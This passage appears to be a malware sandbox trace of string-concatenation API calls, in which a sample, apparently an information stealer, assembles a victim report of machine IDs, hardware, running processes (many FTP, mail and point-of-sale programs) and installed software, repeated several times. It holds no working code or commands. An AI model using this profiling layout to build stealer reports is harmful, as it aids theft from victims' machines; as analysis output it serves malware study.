{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001"
[0054.974] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 